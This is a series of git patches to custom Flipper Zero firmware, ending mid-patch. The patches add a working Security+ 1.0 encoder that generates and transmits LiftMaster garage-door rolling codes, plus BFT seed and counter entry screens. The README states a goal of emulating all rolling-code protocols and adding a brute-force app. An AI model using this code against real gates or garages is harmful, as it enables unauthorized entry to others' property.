osDelay(3); rssi = furi_hal_subghz_get_rssi(); @@ -179,7 +179,7 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); // delay will be in range between 1 and 2ms - osDelay(2); + osDelay(3); rssi = furi_hal_subghz_get_rssi(); if(frequency_rssi.rssi < rssi) { diff --git a/applications/subghz/helpers/subghz_testing.c b/applications/subghz/helpers/subghz_testing.c index f4cbe4a47..8afa868e0 100644 --- a/applications/subghz/helpers/subghz_testing.c +++ b/applications/subghz/helpers/subghz_testing.c @@ -4,6 +4,7 @@ const uint32_t subghz_frequencies_testing[] = { /* 300 - 348 */ 300000000, 304500000, + 310000000, 312025000, 313250000, 313625000, @@ -34,4 +35,4 @@ const uint32_t subghz_frequencies_testing[] = { const uint32_t subghz_frequencies_count_testing = sizeof(subghz_frequencies_testing) / sizeof(uint32_t); -const uint32_t subghz_frequencies_433_92_testing = 12; +const uint32_t subghz_frequencies_433_92_testing = 13; diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index 6914bdb31..5323bfe58 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -170,6 +170,10 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { case SubGhzCustomEventViewReadRAWErase: subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; + if(subghz_scene_read_raw_update_filename(subghz)) { + strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); + subghz_delete_file(subghz); + } notification_message(subghz->notifications, &sequence_reset_rgb); return true; break; diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 51e7fe0b3..ad98f83f1 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -108,8 +108,8 @@ void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t ManchesterEvent event = ManchesterEventReset; switch(instance->decoder.parser_step) { case CameAtomoDecoderStepReset: - if((!level) && (DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 65) < - subghz_protocol_came_atomo_const.te_delta * 20)) { + if((!level) && (DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 60) < + subghz_protocol_came_atomo_const.te_delta * 40)) { //Found header CAME instance->decoder.parser_step = CameAtomoDecoderStepDecoderData; instance->decoder.decode_data = 0; From 488a2190c378c08bf3be7a186c64fb2be2037fcc Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 23 May 2022 21:42:13 +0300 Subject: [PATCH 199/461] Update ReadMe.md --- ReadMe.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/ReadMe.md b/ReadMe.md index 3d5be67f1..50ad9ae43 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -7,6 +7,13 @@ Welcome to [Flipper Zero](https://flipperzero.one/)'s Custom Firmware repo! Our goal is to make any features possible in this device without any stupid limitations! Please help us realize emulation for all dynamic (rolling codes) protocols and brute-force app! +# Clone the Repository + +You should clone with +```shell +$ git clone --recursive https://github.com/flipperdevices/flipperzero-firmware.git +``` + # Update firmware [Get Latest Firmware from Update Server](https://github.com/Eng1n33r/flipperzero-firmware) @@ -74,6 +81,8 @@ Check `dist/` for build outputs. Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. +If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`. + # Build on Linux/macOS ## macOS Prerequisites From f3c748eeac5adfb46c63f0c54b079af86fa25b2c Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 24 May 2022 20:23:51 +0300 Subject: [PATCH 200/461] new digital_signal --- lib/digital_signal/digital_signal.c | 26 +++++++++++++------------- lib/digital_signal/digital_signal.h | 1 + 2 files changed, 14 insertions(+), 13 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index b9be3b602..23ddaf909 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -8,16 +8,12 @@ #define F_TIM (64000000.0) #define T_TIM (1.0 / F_TIM) -#define MAX_ARR_BUFF_SIZE (10000) - -// TODO rework with dynamic allocation -static uint32_t digital_signal_arr_buff[MAX_ARR_BUFF_SIZE]; - DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { DigitalSignal* signal = malloc(sizeof(DigitalSignal)); signal->start_level = true; signal->edges_max_cnt = max_edges_cnt; signal->edge_timings = malloc(max_edges_cnt * sizeof(float)); + signal->reload_reg_buff = malloc(max_edges_cnt * sizeof(uint32_t)); signal->edge_cnt = 0; return signal; @@ -27,6 +23,7 @@ void digital_signal_free(DigitalSignal* signal) { furi_assert(signal); free(signal->edge_timings); + free(signal->reload_reg_buff); free(signal); } @@ -38,15 +35,18 @@ bool digital_signal_append(DigitalSignal* signal_a, DigitalSignal* signal_b) { return false; } - bool end_level = signal_a->start_level ^ !(signal_a->edge_cnt % 2); + bool end_level = signal_a->start_level; + if(signal_a->edge_cnt) { + end_level = signal_a->start_level ^ !(signal_a->edge_cnt % 2); + } uint8_t start_copy = 0; if(end_level == signal_b->start_level) { if(signal_a->edge_cnt) { signal_a->edge_timings[signal_a->edge_cnt - 1] += signal_b->edge_timings[0]; + start_copy += 1; } else { signal_a->edge_timings[signal_a->edge_cnt] += signal_b->edge_timings[0]; } - start_copy += 1; } memcpy( &signal_a->edge_timings[signal_a->edge_cnt], @@ -76,7 +76,7 @@ float digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num) { return signal->edge_timings[edge_num]; } -static void digital_signal_prepare_arr(DigitalSignal* signal, uint32_t* arr) { +static void digital_signal_prepare_arr(DigitalSignal* signal) { float t_signal = 0; float t_current = 0; float r = 0; @@ -88,11 +88,11 @@ static void digital_signal_prepare_arr(DigitalSignal* signal, uint32_t* arr) { r = (t_signal - t_current) / T_TIM; r_dec = modff(r, &r_int); if(r_dec < 0.5f) { - arr[i] = (uint32_t)r_int - 1; + signal->reload_reg_buff[i] = (uint32_t)r_int - 1; } else { - arr[i] = (uint32_t)r_int; + signal->reload_reg_buff[i] = (uint32_t)r_int; } - t_current += (arr[i] + 1) * T_TIM; + t_current += (signal->reload_reg_buff[i] + 1) * T_TIM; } } @@ -130,8 +130,8 @@ bool digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); // Init timer arr register buffer and DMA channel - digital_signal_prepare_arr(signal, digital_signal_arr_buff); - dma_config.MemoryOrM2MDstAddress = (uint32_t)digital_signal_arr_buff; + digital_signal_prepare_arr(signal); + dma_config.MemoryOrM2MDstAddress = (uint32_t)signal->reload_reg_buff; dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; dma_config.Mode = LL_DMA_MODE_NORMAL; diff --git a/lib/digital_signal/digital_signal.h b/lib/digital_signal/digital_signal.h index 3b3ad77f7..5e20e7332 100644 --- a/lib/digital_signal/digital_signal.h +++ b/lib/digital_signal/digital_signal.h @@ -11,6 +11,7 @@ typedef struct { uint32_t edge_cnt; uint32_t edges_max_cnt; float* edge_timings; + uint32_t* reload_reg_buff; } DigitalSignal; DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt); From 06e553bc3808d7c66397f1a741866c66cd8e3d7d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 24 May 2022 20:28:12 +0300 Subject: [PATCH 201/461] Update Manifest --- assets/resources/Manifest | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 6712ff096..411eb4073 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -6293,7 +6293,7 @@ F:26a051e23c77726157eac21064e6bb4f:3217:infrared/_CSV-IRDB_/xsat/Unknown_xsat/34 F:d895fda2f48c6cc4c55e8a398ff52e43:74300:infrared/assets/tv.ir F:a157a80f5a668700403d870c23b9567d:470:music_player/Marble_Machine.fmf D:nfc/assets -F:c6826a621d081d68309e4be424d3d974:4715:nfc/assets/aid.nfc +F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc F:86efbebdf41bb6bf15cc51ef88f069d5:2565:nfc/assets/country_code.nfc F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc F:18d6ceceaa8d86931a631103152f121d:50397:nfc/assets/mf_classic_dict.nfc From 7a0bddf4081ec9acd30c8494fa27d007c5b670f5 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 24 May 2022 20:29:29 +0300 Subject: [PATCH 202/461] Update Manifest --- assets/resources/Manifest | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 411eb4073..ed8bc004c 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1652982689 +T:1653334495 D:badusb D:dolphin D:infrared From dd2da164de6b6f007cb350b6f5d816480e3a6837 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 24 May 2022 20:56:37 +0300 Subject: [PATCH 203/461] New improvements 1) SubGhz: consciousness and transmission support Security+ 1.0 SAVE AND SEND! ; 2) SubGhz: fix incorrect shutdown of CC1101 if it was not turned on; 3) SubGhz: fix frequency reset on incomplete exit from the transmission menu --- .../subghz/scenes/subghz_scene_set_type.c | 46 +++ .../subghz/scenes/subghz_scene_transmitter.c | 3 - applications/subghz/subghz_i.c | 4 +- lib/subghz/protocols/secplus_v1.c | 264 +++++++++++++++++- lib/subghz/protocols/secplus_v1.h | 41 +++ 5 files changed, 347 insertions(+), 11 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 0d6d48b40..198cd0fd0 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -1,6 +1,7 @@ #include "../subghz_i.h" #include #include +#include #include #include #include @@ -23,6 +24,8 @@ enum SubmenuIndex { SubmenuIndexDoorHan_315_00, SubmenuIndexDoorHan_433_92, SubmenuIndexFirefly_300_00, + SubmenuIndexLiftMaster_315_00, + SubmenuIndexLiftMaster_390_00, }; bool subghz_scene_set_type_submenu_gen_data_protocol( @@ -150,6 +153,18 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexDoorHan_433_92, subghz_scene_set_type_submenu_callback, subghz); + submenu_add_item( + subghz->submenu, + "LiftMaster_315", + SubmenuIndexLiftMaster_315_00, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "LiftMaster_390", + SubmenuIndexLiftMaster_390_00, + subghz_scene_set_type_submenu_callback, + subghz); submenu_set_selected_item( subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneSetType)); @@ -322,6 +337,37 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } break; + case SubmenuIndexLiftMaster_315_00: + while(!subghz_protocol_secplus_v1_check_fixed(key)) { + key = subghz_random_serial(); + } + + if(subghz_scene_set_type_submenu_gen_data_protocol( + subghz, + SUBGHZ_PROTOCOL_SECPLUS_V1_NAME, + (uint64_t)key << 32 | 32, + 42, + 315000000, + FuriHalSubGhzPresetOok650Async)) { + generated_protocol = true; + } + break; + case SubmenuIndexLiftMaster_390_00: + while(!subghz_protocol_secplus_v1_check_fixed(key)) { + key = subghz_random_serial(); + } + + if(subghz_scene_set_type_submenu_gen_data_protocol( + subghz, + SUBGHZ_PROTOCOL_SECPLUS_V1_NAME, + (uint64_t)key << 32 | 32, + 42, + 390000000, + FuriHalSubGhzPresetOok650Async)) { + generated_protocol = true; + } + break; + default: return false; break; diff --git a/applications/subghz/scenes/subghz_scene_transmitter.c b/applications/subghz/scenes/subghz_scene_transmitter.c index a72444243..38ab84994 100644 --- a/applications/subghz/scenes/subghz_scene_transmitter.c +++ b/applications/subghz/scenes/subghz_scene_transmitter.c @@ -108,8 +108,5 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) { void subghz_scene_transmitter_on_exit(void* context) { SubGhz* subghz = context; - //Restore default setting - subghz->txrx->frequency = subghz_setting_get_default_frequency(subghz->setting); - subghz->txrx->preset = FuriHalSubGhzPresetOok650Async; subghz->state_notifications = SubGhzNotificationStateIDLE; } diff --git a/applications/subghz/subghz_i.c b/applications/subghz/subghz_i.c index ff22b4299..690e85f74 100644 --- a/applications/subghz/subghz_i.c +++ b/applications/subghz/subghz_i.c @@ -171,7 +171,9 @@ bool subghz_tx_start(SubGhz* subghz, FlipperFormat* flipper_format) { } if(!ret) { subghz_transmitter_free(subghz->txrx->transmitter); - subghz_idle(subghz); + if(subghz->txrx->txrx_state != SubGhzTxRxStateSleep) { + subghz_idle(subghz); + } } } while(false); diff --git a/lib/subghz/protocols/secplus_v1.c b/lib/subghz/protocols/secplus_v1.c index ff43e2a4c..d16975de0 100644 --- a/lib/subghz/protocols/secplus_v1.c +++ b/lib/subghz/protocols/secplus_v1.c @@ -48,6 +48,8 @@ struct SubGhzProtocolEncoderSecPlus_v1 { SubGhzProtocolBlockEncoder encoder; SubGhzBlockGeneric generic; + + uint8_t data_array[44]; }; typedef enum { @@ -71,23 +73,259 @@ const SubGhzProtocolDecoder subghz_protocol_secplus_v1_decoder = { }; const SubGhzProtocolEncoder subghz_protocol_secplus_v1_encoder = { - .alloc = NULL, - .free = NULL, + .alloc = subghz_protocol_encoder_secplus_v1_alloc, + .free = subghz_protocol_encoder_secplus_v1_free, - .deserialize = NULL, - .stop = NULL, - .yield = NULL, + .deserialize = subghz_protocol_encoder_secplus_v1_deserialize, + .stop = subghz_protocol_encoder_secplus_v1_stop, + .yield = subghz_protocol_encoder_secplus_v1_yield, }; const SubGhzProtocol subghz_protocol_secplus_v1 = { .name = SUBGHZ_PROTOCOL_SECPLUS_V1_NAME, .type = SubGhzProtocolTypeDynamic, - .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, + .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | + SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Send | SubGhzProtocolFlag_Save, .decoder = &subghz_protocol_secplus_v1_decoder, .encoder = &subghz_protocol_secplus_v1_encoder, }; +void* subghz_protocol_encoder_secplus_v1_alloc(SubGhzEnvironment* environment) { + UNUSED(environment); + SubGhzProtocolEncoderSecPlus_v1* instance = malloc(sizeof(SubGhzProtocolEncoderSecPlus_v1)); + + instance->base.protocol = &subghz_protocol_secplus_v1; + instance->generic.protocol_name = instance->base.protocol->name; + + instance->encoder.repeat = 10; + instance->encoder.size_upload = 128; + instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); + instance->encoder.is_runing = false; + return instance; +} + +void subghz_protocol_encoder_secplus_v1_free(void* context) { + furi_assert(context); + SubGhzProtocolEncoderSecPlus_v1* instance = context; + free(instance->encoder.upload); + free(instance); +} + +/** + * Generating an upload from data. + * @param instance Pointer to a SubGhzProtocolEncoderSecPlus_v1 instance + * @return true On success + */ +static bool + subghz_protocol_encoder_secplus_v1_get_upload(SubGhzProtocolEncoderSecPlus_v1* instance) { + furi_assert(instance); + size_t index = 0; + size_t size_upload = (instance->generic.data_count_bit * 2); + if(size_upload > instance->encoder.size_upload) { + FURI_LOG_E(TAG, "Encoder size upload exceeds allocated encoder buffer."); + return false; + } else { + instance->encoder.size_upload = size_upload; + } + + //Send header packet 1 + instance->encoder.upload[index++] = level_duration_make( + false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * (116 + 3)); + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short); + + //Send data packet 1 + for(uint8_t i = SECPLUS_V1_PACKET_1_INDEX_BASE + 1; i < SECPLUS_V1_PACKET_1_INDEX_BASE + 21; + i++) { + switch(instance->data_array[i]) { + case SECPLUS_V1_BIT_0: + instance->encoder.upload[index++] = level_duration_make( + false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3); + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short); + break; + case SECPLUS_V1_BIT_1: + instance->encoder.upload[index++] = level_duration_make( + false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 2); + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 2); + break; + case SECPLUS_V1_BIT_2: + instance->encoder.upload[index++] = level_duration_make( + false, (uint32_t)subghz_protocol_secplus_v1_const.te_short); + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3); + break; + + default: + FURI_LOG_E(TAG, "Encoder error, wrong bit type"); + return false; + break; + } + } + + //Send header packet 2 + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * (116)); + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3); + + //Send data packet 2 + for(uint8_t i = SECPLUS_V1_PACKET_2_INDEX_BASE + 1; i < SECPLUS_V1_PACKET_2_INDEX_BASE + 21; + i++) { + switch(instance->data_array[i]) { + case SECPLUS_V1_BIT_0: + instance->encoder.upload[index++] = level_duration_make( + false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3); + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short); + break; + case SECPLUS_V1_BIT_1: + instance->encoder.upload[index++] = level_duration_make( + false, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 2); + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 2); + break; + case SECPLUS_V1_BIT_2: + instance->encoder.upload[index++] = level_duration_make( + false, (uint32_t)subghz_protocol_secplus_v1_const.te_short); + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3); + break; + + default: + FURI_LOG_E(TAG, "Encoder error, wrong bit type."); + return false; + break; + } + } + + return true; +} + +/** + * Security+ 1.0 message encoding + * @param instance SubGhzProtocolEncoderSecPlus_v1* + */ + +static bool subghz_protocol_secplus_v1_encode(SubGhzProtocolEncoderSecPlus_v1* instance) { + uint32_t fixed = (instance->generic.data >> 32) & 0xFFFFFFFF; + uint32_t rolling = instance->generic.data & 0xFFFFFFFF; + + uint8_t rolling_array[20] = {0}; + uint8_t fixed_array[20] = {0}; + uint32_t acc = 0; + + //increment the counter + rolling += 2; + + //update data + instance->generic.data &= 0xFFFFFFFF00000000; + instance->generic.data |= rolling; + + if(rolling > 0xFFFFFFFF) { + FURI_LOG_E("TAG", "Encode counter overrun"); + return false; + } + if(fixed > 0xCFD41B90) { + FURI_LOG_E("TAG", "Encode wrong fixed data"); + return false; + } + + rolling = subghz_protocol_blocks_reverse_key(rolling, 32); + + for(int i = 19; i > -1; i--) { + rolling_array[i] = rolling % 3; + rolling /= 3; + fixed_array[i] = fixed % 3; + fixed /= 3; + } + + instance->data_array[SECPLUS_V1_PACKET_1_INDEX_BASE] = SECPLUS_V1_PACKET_1_HEADER; + instance->data_array[SECPLUS_V1_PACKET_2_INDEX_BASE] = SECPLUS_V1_PACKET_2_HEADER; + + //encode packet 1 + for(uint8_t i = 1; i < 11; i++) { + acc += rolling_array[i - 1]; + instance->data_array[i * 2 - 1] = rolling_array[i - 1]; + acc += fixed_array[i - 1]; + instance->data_array[i * 2] = acc % 3; + } + + acc = 0; + //encode packet 2 + for(uint8_t i = 11; i < 21; i++) { + acc += rolling_array[i - 1]; + instance->data_array[i * 2] = rolling_array[i - 1]; + acc += fixed_array[i - 1]; + instance->data_array[i * 2 + 1] = acc % 3; + } + + return true; +} + +bool subghz_protocol_encoder_secplus_v1_deserialize(void* context, FlipperFormat* flipper_format) { + furi_assert(context); + SubGhzProtocolEncoderSecPlus_v1* instance = context; + bool res = false; + do { + if(!subghz_block_generic_deserialize(&instance->generic, flipper_format)) { + FURI_LOG_E(TAG, "Deserialize error"); + break; + } + + //optional parameter parameter + flipper_format_read_uint32( + flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); + + if(!subghz_protocol_secplus_v1_encode(instance)){ + break; + } + if(!subghz_protocol_encoder_secplus_v1_get_upload(instance)){ + break; + } + + uint8_t key_data[sizeof(uint64_t)] = {0}; + for(size_t i = 0; i < sizeof(uint64_t); i++) { + key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF; + } + if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) { + FURI_LOG_E(TAG, "Unable to add Key"); + break; + } + + instance->encoder.is_runing = true; + + res = true; + } while(false); + + return res; +} + +void subghz_protocol_encoder_secplus_v1_stop(void* context) { + SubGhzProtocolEncoderSecPlus_v1* instance = context; + instance->encoder.is_runing = false; +} + +LevelDuration subghz_protocol_encoder_secplus_v1_yield(void* context) { + SubGhzProtocolEncoderSecPlus_v1* instance = context; + + if(instance->encoder.repeat == 0 || !instance->encoder.is_runing) { + instance->encoder.is_runing = false; + return level_duration_reset(); + } + + LevelDuration ret = instance->encoder.upload[instance->encoder.front]; + + if(++instance->encoder.front == instance->encoder.size_upload) { + instance->encoder.repeat--; + instance->encoder.front = 0; + } + + return ret; +} + void* subghz_protocol_decoder_secplus_v1_alloc(SubGhzEnvironment* environment) { UNUSED(environment); SubGhzProtocolDecoderSecPlus_v1* instance = malloc(sizeof(SubGhzProtocolDecoderSecPlus_v1)); @@ -110,7 +348,7 @@ void subghz_protocol_decoder_secplus_v1_reset(void* context) { } /** - * Security+ 1.0 half-message decoding + * Security+ 1.0 message decoding * @param instance SubGhzProtocolDecoderSecPlus_v1* */ @@ -291,6 +529,18 @@ bool subghz_protocol_decoder_secplus_v1_deserialize(void* context, FlipperFormat return subghz_block_generic_deserialize(&instance->generic, flipper_format); } +bool subghz_protocol_secplus_v1_check_fixed (uint32_t fixed) { + //uint8_t id0 = (fixed / 3) % 3; + uint8_t id1 = (fixed / 9) % 3; + uint8_t btn = fixed % 3; + + do{ + if(id1 == 0) return false; + if(!(btn == 0 || btn == 1 || btn == 2)) return false; + } while(false); + return true; +} + void subghz_protocol_decoder_secplus_v1_get_string(void* context, string_t output) { furi_assert(context); SubGhzProtocolDecoderSecPlus_v1* instance = context; diff --git a/lib/subghz/protocols/secplus_v1.h b/lib/subghz/protocols/secplus_v1.h index 891f751cd..1c752df76 100644 --- a/lib/subghz/protocols/secplus_v1.h +++ b/lib/subghz/protocols/secplus_v1.h @@ -10,6 +10,40 @@ extern const SubGhzProtocolDecoder subghz_protocol_secplus_v1_decoder; extern const SubGhzProtocolEncoder subghz_protocol_secplus_v1_encoder; extern const SubGhzProtocol subghz_protocol_secplus_v1; +/** + * Allocate SubGhzProtocolEncoderSecPlus_v1. + * @param environment Pointer to a SubGhzEnvironment instance + * @return SubGhzProtocolEncoderSecPlus_v1* pointer to a SubGhzProtocolEncoderSecPlus_v1 instance + */ +void* subghz_protocol_encoder_secplus_v1_alloc(SubGhzEnvironment* environment); + +/** + * Free SubGhzProtocolEncoderSecPlus_v1. + * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v1 instance + */ +void subghz_protocol_encoder_secplus_v1_free(void* context); + +/** + * Deserialize and generating an upload to send. + * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v1 instance + * @param flipper_format Pointer to a FlipperFormat instance + * @return true On success + */ +bool subghz_protocol_encoder_secplus_v1_deserialize(void* context, FlipperFormat* flipper_format); + +/** + * Forced transmission stop. + * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v1 instance + */ +void subghz_protocol_encoder_secplus_v1_stop(void* context); + +/** + * Getting the level and duration of the upload to be loaded into DMA. + * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v1 instance + * @return LevelDuration + */ +LevelDuration subghz_protocol_encoder_secplus_v1_yield(void* context); + /** * Allocate SubGhzProtocolDecoderSecPlus_v1. * @param environment Pointer to a SubGhzEnvironment instance @@ -66,6 +100,13 @@ bool subghz_protocol_decoder_secplus_v1_serialize( */ bool subghz_protocol_decoder_secplus_v1_deserialize(void* context, FlipperFormat* flipper_format); +/** + * Validation of fixed parts SubGhzProtocolDecoderSecPlus_v1. + * @param fixed fixed parts + * @return true On success + */ +bool subghz_protocol_secplus_v1_check_fixed(uint32_t fixed); + /** * Getting a textual representation of the received data. * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v1 instance From 23053b9f8291fff8b470f46ad33c5c51d2b5ee61 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 24 May 2022 23:43:23 +0300 Subject: [PATCH 204/461] Add BFT creation --- .../subghz/scenes/subghz_scene_config.h | 3 + .../subghz/scenes/subghz_scene_set_cnt_bft.c | 46 +++++++ .../subghz/scenes/subghz_scene_set_fix_bft.c | 46 +++++++ .../subghz/scenes/subghz_scene_set_seed_bft.c | 99 ++++++++++++++ .../subghz/scenes/subghz_scene_set_type.c | 10 ++ lib/subghz/protocols/faac_slh.c | 31 ++--- lib/subghz/protocols/keeloq.c | 126 +++++++++++++++--- lib/subghz/protocols/keeloq.h | 24 ++++ 8 files changed, 348 insertions(+), 37 deletions(-) create mode 100644 applications/subghz/scenes/subghz_scene_set_cnt_bft.c create mode 100644 applications/subghz/scenes/subghz_scene_set_fix_bft.c create mode 100644 applications/subghz/scenes/subghz_scene_set_seed_bft.c diff --git a/applications/subghz/scenes/subghz_scene_config.h b/applications/subghz/scenes/subghz_scene_config.h index ff9f487ac..9730b92a4 100644 --- a/applications/subghz/scenes/subghz_scene_config.h +++ b/applications/subghz/scenes/subghz_scene_config.h @@ -20,6 +20,9 @@ ADD_SCENE(subghz, set_type, SetType) ADD_SCENE(subghz, set_fix, SetFix) ADD_SCENE(subghz, set_cnt, SetCnt) ADD_SCENE(subghz, set_seed, SetSeed) +ADD_SCENE(subghz, set_fix_bft, SetFixBft) +ADD_SCENE(subghz, set_cnt_bft, SetCntBft) +ADD_SCENE(subghz, set_seed_bft, SetSeedBft) ADD_SCENE(subghz, frequency_analyzer, FrequencyAnalyzer) ADD_SCENE(subghz, read_raw, ReadRAW) ADD_SCENE(subghz, more_raw, MoreRAW) diff --git a/applications/subghz/scenes/subghz_scene_set_cnt_bft.c b/applications/subghz/scenes/subghz_scene_set_cnt_bft.c new file mode 100644 index 000000000..d58409a7e --- /dev/null +++ b/applications/subghz/scenes/subghz_scene_set_cnt_bft.c @@ -0,0 +1,46 @@ +#include "../subghz_i.h" + +#define TAG "SubGhzSetCntBft" + +void subghz_scene_set_cnt_bft_byte_input_callback(void* context) { + SubGhz* subghz = context; + + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); +} + +void subghz_scene_set_cnt_bft_on_enter(void* context) { + SubGhz* subghz = context; + + // Setup view + ByteInput* byte_input = subghz->byte_input; + byte_input_set_header_text(byte_input, "Enter COUNTER in hex"); + byte_input_set_result_callback( + byte_input, + subghz_scene_set_cnt_bft_byte_input_callback, + NULL, + subghz, + subghz->txrx->secure_data->cnt, + 2); + view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); +} + +bool subghz_scene_set_cnt_bft_on_event(void* context, SceneManagerEvent event) { + SubGhz* subghz = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubGhzCustomEventByteInputDone) { + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetSeedBft); + consumed = true; + } + } + return consumed; +} + +void subghz_scene_set_cnt_bft_on_exit(void* context) { + SubGhz* subghz = context; + + // Clear view + byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(subghz->byte_input, ""); +} diff --git a/applications/subghz/scenes/subghz_scene_set_fix_bft.c b/applications/subghz/scenes/subghz_scene_set_fix_bft.c new file mode 100644 index 000000000..8153fa2a0 --- /dev/null +++ b/applications/subghz/scenes/subghz_scene_set_fix_bft.c @@ -0,0 +1,46 @@ +#include "../subghz_i.h" + +#define TAG "SubGhzSetFixBft" + +void subghz_scene_set_fix_bft_byte_input_callback(void* context) { + SubGhz* subghz = context; + + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); +} + +void subghz_scene_set_fix_bft_on_enter(void* context) { + SubGhz* subghz = context; + + // Setup view + ByteInput* byte_input = subghz->byte_input; + byte_input_set_header_text(byte_input, "Enter FIX in hex"); + byte_input_set_result_callback( + byte_input, + subghz_scene_set_fix_bft_byte_input_callback, + NULL, + subghz, + subghz->txrx->secure_data->fix, + 4); + view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); +} + +bool subghz_scene_set_fix_bft_on_event(void* context, SceneManagerEvent event) { + SubGhz* subghz = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubGhzCustomEventByteInputDone) { + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetCntBft); + consumed = true; + } + } + return consumed; +} + +void subghz_scene_set_fix_bft_on_exit(void* context) { + SubGhz* subghz = context; + + // Clear view + byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(subghz->byte_input, ""); +} \ No newline at end of file diff --git 